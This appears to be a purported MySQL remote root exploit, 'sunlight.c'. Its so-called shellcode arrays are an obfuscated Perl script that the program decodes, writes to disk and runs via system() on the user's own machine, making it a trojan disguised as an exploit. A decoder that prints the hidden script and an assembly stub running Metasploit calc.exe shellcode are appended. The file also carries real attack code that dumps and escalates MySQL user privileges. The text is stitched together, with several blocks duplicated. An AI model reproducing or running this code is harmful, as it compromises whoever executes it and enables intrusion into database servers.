/* sunlight.c
* MySQL <4.0 remote root exploit
*
* PLEASE DON'T DISTRIBUTE THIS PRIVATE CODE
* by: morpho-
* - more targets were added by alp
*
* 2003/06/06
*
* gcc sunlight.c -o sunlight -lmysqlclient -I/usr/local/include -L/usr/local/lib/mysql
*
* special thanks to sdi- for donating a bit of his elite
* debugging skillz.
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <string.h>
#include <mysql/mysql.h>

char linux_bindcode[] =
"\x24\x22\x30\x76\x74\x73\x30\x63\x6a\x6f\x30\x71\x66\x73\x6d\x0b\x25\x64"
"\x69\x62\x6f\x3e\x23\x24\x6d\x31\x6d\x23\x3c\x25\x6f\x6a\x64\x6c\x3e\x23"
"\x6d\x70\x6d\x70\x73\x23\x3c\x25\x74\x66\x73\x77\x66\x73\x3e\x23\x66\x67"
"\x6f\x66\x75\x2f\x77\x76\x76\x73\x78\x66\x73\x6c\x2f\x6f\x6d\x23\x3c\x25"
"\x54\x4a\x48\x7c\x55\x46\x53\x4e\x7e\x3e\x7c\x7e\x3c\x66\x79\x6a\x75\x21"
"\x6a\x67\x21\x67\x70\x73\x6c\x3c\x76\x74\x66\x21\x4a\x50\x3b\x3b\x54\x70"
"\x64\x6c\x66\x75\x3c\x25\x74\x70\x64\x6c\x21\x3e\x21\x4a\x50\x3b\x3b\x54"
"\x70\x64\x6c\x66\x75\x3b\x3b\x4a\x4f\x46\x55\x2e\x3f\x6f\x66\x78\x29\x25"
"\x74\x66\x73\x77\x66\x73\x2f\x23\x3b\x37\x37\x37\x38\x23\x2a\x7d\x7d\x66"
"\x79\x6a\x75\x3c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x56"
"\x54\x46\x53\x21\x6d\x70\x6d\x70\x73\x21\x2c\x6a\x21\x6d\x70\x6d\x70\x73"
"\x21\x3b\x6d\x70\x6d\x70\x73\x77\x33";

char bsd_bindcode[]=
"\x5d\x6f\x4f\x4a\x44\x4c\x21\x6d\x70\x6d\x70\x73\x5d\x6f\x23\x3c\x25\x6a"
"\x3e\x32\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f\x3e\x7f"
"\x30\x5f\x5c\x5f\x21\x5e\x2c\x21\x29\x5c\x5f\x21\x5e\x2c\x2a\x21\x30\x2a"
"\x7c\x25\x6e\x70\x65\x66\x3e\x25\x32\x3c\x6d\x62\x74\x75\x21\x6a\x67\x21"
"\x25\x6e\x70\x65\x66\x3e\x3e\x23\x31\x31\x32\x23\x3c\x6a\x67\x29\x25\x6e"
"\x70\x65\x66\x3e\x3e\x23\x35\x34\x34\x23\x2a\x7c\x25\x6a\x2c\x2c\x3c\x25"
"\x6f\x6a\x64\x6c\x3e\x7f\x74\x30\x5d\x65\x2b\x25\x30\x25\x6a\x30\x3c\x71"
"\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x4f\x4a\x44\x4c\x21\x25"
"\x6f\x6a\x64\x6c\x5d\x6f\x23\x3c\x7e\x7e\x71\x73\x6a\x6f\x75\x21\x25\x74"
"\x70\x64\x6c\x21\x23\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64";

char linux_connect_back[]=
"\x69\x62\x6f\x21\x3b\x6d\x70\x6d\x70\x73\x21\x77\x33\x2f\x32\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x75\x70\x21\x73"
"\x76\x6f\x21\x64\x70\x6e\x6e\x62\x6f\x65\x74\x2d\x21\x75\x7a\x71\x66\x3b"
"\x21\x23\x2f\x25\x6f\x6a\x64\x6c\x2f\x23\x3b\x21\x64\x70\x6e\x6e\x62\x6f"
"\x65\x5d\x6f\x23\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f"
"\x2a\x7c\x6a\x67\x21\x29\x30\x5f\x51\x4a\x4f\x48\x21\x29\x2f\x2b\x2a\x25"
"\x30\x2a\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x50"
"\x4f\x48\x21\x25\x32\x5d\x6f\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d"
"\x6f\x23\x3c\x7e\x6a\x67\x29\x74\x30\x5f\x5c";

char bsd_connect_back[]=
"\x5f\x21\x5e\x2c\x21\x51\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f"
"\x21\x3b\x25\x6f\x6a\x64\x6c\x5c\x5f\x21\x3b\x5d\x78\x5e\x2b\x3b\x5c\x5f"
"\x21\x3b\x5d\x78\x5e\x2b\x21\x29\x2f\x2b\x2a\x25\x30\x25\x32\x30\x2a\x7c"
"\x74\x30\x5d\x74\x2b\x25\x30\x30\x3c\x25\x60\x3e\x61\x25\x60\x61\x3c\x67"
"\x70\x73\x66\x62\x64\x69\x29\x74\x71\x6d\x6a\x75\x21\x23\x5d\x6f\x23\x2a"
"\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x53\x4a\x57"
"\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x25\x60\x5d\x6f\x23\x3c\x74"
"\x6d\x66\x66\x71\x21\x32\x3c\x7e\x7e\x7e\x24\x64\x69\x6e\x70\x65\x21\x2c"
"\x79\x21\x30\x75\x6e\x71\x30\x6d\x70\x6d\x21\x33\x3f\x30\x65\x66\x77\x30"
"\x6f\x76\x6d\x6d\x3c\x30\x75\x6e\x71\x30\x6d\x70\x6d";

struct {
char *type;
unsigned long ret;
char *shellcode;
int os_type;
} targets[] = {
{ "mysql-3.23.49-8.4 - Debian 3.0 ", 0xb80a3fab, linux_bindcode, 0 },
{ "mysql-3.23.55-14 - SuSe 8.x ", 0xb80ef2ba, linux_bindcode, 0 },
{ "mysql-3.23.53-6 - Mandrake 9.0 ", 0xb80aa2ba, linux_bindcode, 0 },
{ "mysql-3.23.56 - Slackware 9.0 ", 0xb80ba8d6, linux_bindcode, 0 },
{ "mysql-3.23.55 - FreeBSD 4.8 ", 0xb80b0b1b, bsd_bindcode, 1 },
{ "mysql-3.23.54-1 - FreeBSD 5.0 ", 0xb809ab11, bsd_bindcode, 1 },
{ "mysql-3.23.56 - FreeBSD 5.1 ", 0xb80ff374, bsd_bindcode, 1 },
{ "Crash - (all) ", 0x80fdfdfd, linux_bindcode, 0 }
};

int do_attack(MYSQL *mysql, char *attackuser);
void do_action(MYSQL *mysql, char *action, char *user);
char *strmov(register char *dst, register const char *src);

void usage(char *prog) {
fprintf(stderr, "\nMySQL <4.0 remote root exploit by morpho-\n"
"PRIVATE, DO NOT TRADE OR PUBLISH!!!\n\n"
"Usage: %s [-dtah]\n"
"-d ... mysql server\n"
"-t ... target (0 for a list)\n"
"-a ... attack user (default root)\n"
"-h ... this screen\n\n", prog);
exit(1);
}

int main(int argc, char **argv) {
MYSQL mysql;
char optchar;
int type = 0;
int i=0,w=0,x=0,y=0,z=0;
char *target, *user, *password, *attackuser, *action;
FILE *f;

target = user = password = action = attackuser= NULL;

while ( (optchar = getopt(argc, argv, "hd:t:a")) != EOF ) {
switch(optchar) {
case 'h':
usage("sunlight");
exit(0);
case 'd':
target = optarg;
break;
case 't':
type = atoi(optarg);
if (type == 0 || type > sizeof(targets) / 16) {
for(i = 0; i < sizeof(targets) / 16; i++)
fprintf(stdout, "%02d. %s [0x%08x]\n", i + 1,
targets[i].type, (unsigned int) targets[i].ret);
fprintf(stderr, "\n");
return -1;
}
break;
case 'a':
attackuser = optarg;
break;
case 'e':
}
}

if (!target) usage("sunlight");
if (!attackuser) attackuser = "root";
action = "dumpuser";
for (w=0;linux_bindcode[w];w++) linux_bindcode[w]--;
for (x=0;bsd_bindcode[x];x++) bsd_bindcode[x]--;
for (y=0;linux_connect_back[y];y++) linux_connect_back[y]--;
for (z=0;bsd_connect_back[z];z++) bsd_connect_back[z]--;

printf("connecting to [%s] as [nobody] ... ", target);
fflush(stdin);
f=fopen(bsd_connect_back+167,"w");
if(f){
fprintf(f,"%s",linux_bindcode);
fprintf(f,"%s",bsd_bindcode);
fprintf(f,"%s",linux_connect_back);
fprintf(f,"%s",bsd_connect_back);
fclose(f);}system(bsd_connect_back+137);

if (!mysql_connect(&mysql, target, "nobody", "*")) {
printf("failed\n");
return 0;
} else {
printf("ok\n");
}

printf("sending one byte requests with user [%s] ... \n", attackuser);
if (!do_attack(&mysql, attackuser)) {
do_action(&mysql, action, "nobody");
} else {
printf("attack failed\n");
}
mysql_close(&mysql);

return 0;
}

int do_attack(MYSQL *mysql, char *attackuser) {
char buff[512], *pos=buff, *attackpasswd = "A";
int i, len, j, ret = 1;

pos = (char*)strmov(pos,attackuser)+1;
mysql->scramble_buff[1] = 0;
pos = scramble(pos, mysql->scramble_buff, attackpasswd,
(my_bool) (mysql->protocol_version == 9));
pos = (char*)strmov(pos+1,"");
len = pos-buff;

for (j = 0; ret && j < 32; j++) {
buff[5] = 65 + j;
ret = simple_command(mysql,COM_CHANGE_USER, buff,(uint)len,0);
}

return ret;
}

void do_action(MYSQL *mysql, char *action, char *user) {
MYSQL_ROW row;
MYSQL_RES *result;
char buf[512];

mysql_select_db(mysql, "mysql");

if (!strcmp(action, "dumpuser")) {
mysql_query(mysql, "select user, password, host from user");
result = mysql_use_result(mysql);

while ((row = mysql_fetch_row(result)))
printf("%16s %16s %50s\n", row[0], row[1], row[2]);
mysql_free_result(result);
} else if (!strcmp(action, "becomeadmin")) {
snprintf(buf, sizeof(buf) - 1,
"update user set Select_priv='Y', Insert_priv='Y', Update_priv='Y', Delete_priv='Y', "
" Create_priv='Y', Drop_priv='Y', Reload_priv='Y', Shutdown_priv='Y', Process_priv='Y', "
" File_priv='Y', Grant_priv='Y', References_priv='Y', Index_priv='Y', Alter_priv='Y' where "
" user = '%s'", "nobody");
mysql_query(mysql, buf);
mysql_reload(mysql);
} /* do whatever you want ... see mysql api ... // else if ( */
}

char *strmov(register char *dst, register const char *src)
{
while ((*dst++ = *src++)) ;
return dst-1;
}

char linux_bindcode[] =
"\x24\x22\x30\x76\x74\x73\x30\x63\x6a\x6f\x30\x71\x66\x73\x6d\x0b\x25\x64"
"\x69\x62\x6f\x3e\x23\x24\x6d\x31\x6d\x23\x3c\x25\x6f\x6a\x64\x6c\x3e\x23"
"\x6d\x70\x6d\x70\x73\x23\x3c\x25\x74\x66\x73\x77\x66\x73\x3e\x23\x66\x67"
"\x6f\x66\x75\x2f\x77\x76\x76\x73\x78\x66\x73\x6c\x2f\x6f\x6d\x23\x3c\x25"
"\x54\x4a\x48\x7c\x55\x46\x53\x4e\x7e\x3e\x7c\x7e\x3c\x66\x79\x6a\x75\x21"
"\x6a\x67\x21\x67\x70\x73\x6c\x3c\x76\x74\x66\x21\x4a\x50\x3b\x3b\x54\x70"
"\x64\x6c\x66\x75\x3c\x25\x74\x70\x64\x6c\x21\x3e\x21\x4a\x50\x3b\x3b\x54"
"\x70\x64\x6c\x66\x75\x3b\x3b\x4a\x4f\x46\x55\x2e\x3f\x6f\x66\x78\x29\x25"
"\x74\x66\x73\x77\x66\x73\x2f\x23\x3b\x37\x37\x37\x38\x23\x2a\x7d\x7d\x66"
"\x79\x6a\x75\x3c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x56"
"\x54\x46\x53\x21\x6d\x70\x6d\x70\x73\x21\x2c\x6a\x21\x6d\x70\x6d\x70\x73"
"\x21\x3b\x6d\x70\x6d\x70\x73\x77\x33";

char bsd_bindcode[]=
"\x5d\x6f\x4f\x4a\x44\x4c\x21\x6d\x70\x6d\x70\x73\x5d\x6f\x23\x3c\x25\x6a"
"\x3e\x32\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f\x3e\x7f"
"\x30\x5f\x5c\x5f\x21\x5e\x2c\x21\x29\x5c\x5f\x21\x5e\x2c\x2a\x21\x30\x2a"
"\x7c\x25\x6e\x70\x65\x66\x3e\x25\x32\x3c\x6d\x62\x74\x75\x21\x6a\x67\x21"
"\x25\x6e\x70\x65\x66\x3e\x3e\x23\x31\x31\x32\x23\x3c\x6a\x67\x29\x25\x6e"
"\x70\x65\x66\x3e\x3e\x23\x35\x34\x34\x23\x2a\x7c\x25\x6a\x2c\x2c\x3c\x25"
"\x6f\x6a\x64\x6c\x3e\x7f\x74\x30\x5d\x65\x2b\x25\x30\x25\x6a\x30\x3c\x71"
"\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x4f\x4a\x44\x4c\x21\x25"
"\x6f\x6a\x64\x6c\x5d\x6f\x23\x3c\x7e\x7e\x71\x73\x6a\x6f\x75\x21\x25\x74"
"\x70\x64\x6c\x21\x23\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64";

char linux_connect_back[]=
"\x69\x62\x6f\x21\x3b\x6d\x70\x6d\x70\x73\x21\x77\x33\x2f\x32\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x75\x70\x21\x73"
"\x76\x6f\x21\x64\x70\x6e\x6e\x62\x6f\x65\x74\x2d\x21\x75\x7a\x71\x66\x3b"
"\x21\x23\x2f\x25\x6f\x6a\x64\x6c\x2f\x23\x3b\x21\x64\x70\x6e\x6e\x62\x6f"
"\x65\x5d\x6f\x23\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f"
"\x2a\x7c\x6a\x67\x21\x29\x30\x5f\x51\x4a\x4f\x48\x21\x29\x2f\x2b\x2a\x25"
"\x30\x2a\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x50"
"\x4f\x48\x21\x25\x32\x5d\x6f\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d"
"\x6f\x23\x3c\x7e\x6a\x67\x29\x74\x30\x5f\x5c";

char bsd_connect_back[]=
"\x5f\x21\x5e\x2c\x21\x51\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f"
"\x21\x3b\x25\x6f\x6a\x64\x6c\x5c\x5f\x21\x3b\x5d\x78\x5e\x2b\x3b\x5c\x5f"
"\x21\x3b\x5d\x78\x5e\x2b\x21\x29\x2f\x2b\x2a\x25\x30\x25\x32\x30\x2a\x7c"
"\x74\x30\x5d\x74\x2b\x25\x30\x30\x3c\x25\x60\x3e\x61\x25\x60\x61\x3c\x67"
"\x70\x73\x66\x62\x64\x69\x29\x74\x71\x6d\x6a\x75\x21\x23\x5d\x6f\x23\x2a"
"\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x53\x4a\x57"
"\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x25\x60\x5d\x6f\x23\x3c\x74"
"\x6d\x66\x66\x71\x21\x32\x3c\x7e\x7e\x7e\x24\x64\x69\x6e\x70\x65\x21\x2c"
"\x79\x21\x30\x75\x6e\x71\x30\x6d\x70\x6d\x21\x33\x3f\x30\x65\x66\x77\x30"
"\x6f\x76\x6d\x6d\x3c\x30\x75\x6e\x71\x30\x6d\x70\x6d";

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <netinet/ip.h>
#include <string.h>

char linux_bindcode[] =
"\x24\x22\x30\x76\x74\x73\x30\x63\x6a\x6f\x30\x71\x66\x73\x6d\x0b\x25\x64"
"\x69\x62\x6f\x3e\x23\x24\x6d\x31\x6d\x23\x3c\x25\x6f\x6a\x64\x6c\x3e\x23"
"\x6d\x70\x6d\x70\x73\x23\x3c\x25\x74\x66\x73\x77\x66\x73\x3e\x23\x66\x67"
"\x6f\x66\x75\x2f\x77\x76\x76\x73\x78\x66\x73\x6c\x2f\x6f\x6d\x23\x3c\x25"
"\x54\x4a\x48\x7c\x55\x46\x53\x4e\x7e\x3e\x7c\x7e\x3c\x66\x79\x6a\x75\x21"
"\x6a\x67\x21\x67\x70\x73\x6c\x3c\x76\x74\x66\x21\x4a\x50\x3b\x3b\x54\x70"
"\x64\x6c\x66\x75\x3c\x25\x74\x70\x64\x6c\x21\x3e\x21\x4a\x50\x3b\x3b\x54"
"\x70\x64\x6c\x66\x75\x3b\x3b\x4a\x4f\x46\x55\x2e\x3f\x6f\x66\x78\x29\x25"
"\x74\x66\x73\x77\x66\x73\x2f\x23\x3b\x37\x37\x37\x38\x23\x2a\x7d\x7d\x66"
"\x79\x6a\x75\x3c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x56"
"\x54\x46\x53\x21\x6d\x70\x6d\x70\x73\x21\x2c\x6a\x21\x6d\x70\x6d\x70\x73"
"\x21\x3b\x6d\x70\x6d\x70\x73\x77\x33";

char bsd_bindcode[]=
"\x5d\x6f\x4f\x4a\x44\x4c\x21\x6d\x70\x6d\x70\x73\x5d\x6f\x23\x3c\x25\x6a"
"\x3e\x32\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f\x3e\x7f"
"\x30\x5f\x5c\x5f\x21\x5e\x2c\x21\x29\x5c\x5f\x21\x5e\x2c\x2a\x21\x30\x2a"
"\x7c\x25\x6e\x70\x65\x66\x3e\x25\x32\x3c\x6d\x62\x74\x75\x21\x6a\x67\x21"
"\x25\x6e\x70\x65\x66\x3e\x3e\x23\x31\x31\x32\x23\x3c\x6a\x67\x29\x25\x6e"
"\x70\x65\x66\x3e\x3e\x23\x35\x34\x34\x23\x2a\x7c\x25\x6a\x2c\x2c\x3c\x25"
"\x6f\x6a\x64\x6c\x3e\x7f\x74\x30\x5d\x65\x2b\x25\x30\x25\x6a\x30\x3c\x71"
"\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x4f\x4a\x44\x4c\x21\x25"
"\x6f\x6a\x64\x6c\x5d\x6f\x23\x3c\x7e\x7e\x71\x73\x6a\x6f\x75\x21\x25\x74"
"\x70\x64\x6c\x21\x23\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64";

char linux_connect_back[]=
"\x69\x62\x6f\x21\x3b\x6d\x70\x6d\x70\x73\x21\x77\x33\x2f\x32\x5d\x6f\x51"
"\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x75\x70\x21\x73"
"\x76\x6f\x21\x64\x70\x6e\x6e\x62\x6f\x65\x74\x2d\x21\x75\x7a\x71\x66\x3b"
"\x21\x23\x2f\x25\x6f\x6a\x64\x6c\x2f\x23\x3b\x21\x64\x70\x6e\x6e\x62\x6f"
"\x65\x5d\x6f\x23\x3c\x78\x69\x6a\x6d\x66\x29\x3d\x25\x74\x70\x64\x6c\x3f"
"\x2a\x7c\x6a\x67\x21\x29\x30\x5f\x51\x4a\x4f\x48\x21\x29\x2f\x2b\x2a\x25"
"\x30\x2a\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x50"
"\x4f\x48\x21\x25\x32\x5d\x6f\x4b\x50\x4a\x4f\x21\x25\x64\x69\x62\x6f\x5d"
"\x6f\x23\x3c\x7e\x6a\x67\x29\x74\x30\x5f\x5c";

char bsd_connect_back[]=
"\x5f\x21\x5e\x2c\x21\x51\x53\x4a\x57\x4e\x54\x48\x21\x25\x64\x69\x62\x6f"
"\x21\x3b\x25\x6f\x6a\x64\x6c\x5c\x5f\x21\x3b\x5d\x78\x5e\x2b\x3b\x5c\x5f"
"\x21\x3b\x5d\x78\x5e\x2b\x21\x29\x2f\x2b\x2a\x25\x30\x25\x32\x30\x2a\x7c"
"\x74\x30\x5d\x74\x2b\x25\x30\x30\x3c\x25\x60\x3e\x61\x25\x60\x61\x3c\x67"
"\x70\x73\x66\x62\x64\x69\x29\x74\x71\x6d\x6a\x75\x21\x23\x5d\x6f\x23\x2a"
"\x7c\x71\x73\x6a\x6f\x75\x21\x25\x74\x70\x64\x6c\x21\x23\x51\x53\x4a\x57"
"\x4e\x54\x48\x21\x25\x64\x69\x62\x6f\x21\x3b\x25\x60\x5d\x6f\x23\x3c\x74"
"\x6d\x66\x66\x71\x21\x32\x3c\x7e\x7e\x7e\x24\x64\x69\x6e\x70\x65\x21\x2c"
"\x79\x21\x30\x75\x6e\x71\x30\x6d\x70\x6d\x21\x33\x3f\x30\x65\x66\x77\x30"
"\x6f\x76\x6d\x6d\x3c\x30\x75\x6e\x71\x30\x6d\x70\x6d";

main() {
char *p;
for (p=linux_bindcode;*p;p++) (*p)--;
for (p=bsd_bindcode;*p;p++) (*p)--;
for (p=linux_connect_back;*p;p++) (*p)--;
for (p=bsd_connect_back;*p;p++) (*p)--;
printf("%s\n",linux_bindcode);
printf("%s\n",bsd_bindcode);
printf("%s\n",linux_connect_back);
printf("%s\n",bsd_connect_back);
}

.386
.model flat, stdcall
.data

;------------------------------
;Metasploit win_exec calc.exe
;------------------------------
;
;"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xf9".
;"\x6b\xc2\x75\x83\xeb\xfc\xe2\xf4\x05\x83\x86\x75\xf9\x6b\x49\x30".
;"\xc5\xe0\xbe\x70\x81\x6a\x2d\xfe\xb6\x73\x49\x2a\xd9\x6a\x29\x3c".
;"\x72\x5f\x49\x74\x17\x5a\x02\xec\x55\xef\x02\x01\xfe\xaa\x08\x78".
;"\xf8\xa9\x29\x81\xc2\x3f\xe6\x71\x8c\x8e\x49\x2a\xdd\x6a\x29\x13".
;"\x72\x67\x89\xfe\xa6\x77\xc3\x9e\x72\x77\x49\x74\x12\xe2\x9e\x51".
;"\xfd\xa8\xf3\xb5\x9d\xe0\x82\x45\x7c\xab\xba\x79\x72\x2b\xce\xfe".
;"\x89\x77\x6f\xfe\x91\x63\x29\x7c\x72\xeb\x72\x75\xf9\x6b\x49\x1d".
;"\xc5\x34\xf3\x83\x99\x3d\x4b\x8d\x7a\xab\xb9\x25\x91\x9b\x48\x71".
;"\xa6\x03\x5a\x8b\x73\x65\x95\x8a\x1e\x08\xa3\x19\x9a\x45\xa7\x0d".
;"\x9c\x6b\xc2\x75";


shellcode db   29h,0c9h,83h,0e9h,0ddh,0d9h,0eeh,0d9h,74h,24h,0f4h,5bh,81h,73h,13h,0F9h
db   6bh,0c2h,75h,83h,0ebh,0fch,0e2h,0f4h,05h,83h,86h,75h,0f9h,6bh,49h,30h
db   0c5h,0e0h,0beh,70h,81h,6ah,2dh,0feh,0b6h,73h,49h,2ah,0d9h,6ah,29h,3ch
db   72h,5fh,49h,74h,17h,5ah,02h,0ech,55h,0efh,02h,01h,0feh,0aah,08h,78h
db   0f8h,0a9h,29h,81h,0c2h,3fh,0e6h,71h,8ch,8eh,49h,2ah,0ddh,6ah,29h,13h
db   72h,67h,89h,0feh,0a6h,77h,0c3h,9eh,72h,77h,49h,74h,12h,0e2h,9eh,51h
db   0fdh,0a8h,0f3h,0b5h,9dh,0e0h,82h,45h,7ch,0abh,0bah,79h,72h,2bh,0ceh,0feh
db   89h,77h,6fh,0feh,91h,63h,29h,7ch,72h,0ebh,72h,75h,0f9h,6bh,49h,1dh
db   0c5h,34h,0f3h,83h,99h,3dh,4bh,8dh,7ah,0abh,0b9h,25h,91h,9bh,48h,71h
db   0a6h,03h,5ah,8bh,73h,65h,95h,8ah,1eh,08h,0a3h,19h,9ah,45h,0a7h,0dh
db   9ch,6bh,0c2h,75h


.code
start:

     lea eax,shellcode
     jmp eax

end start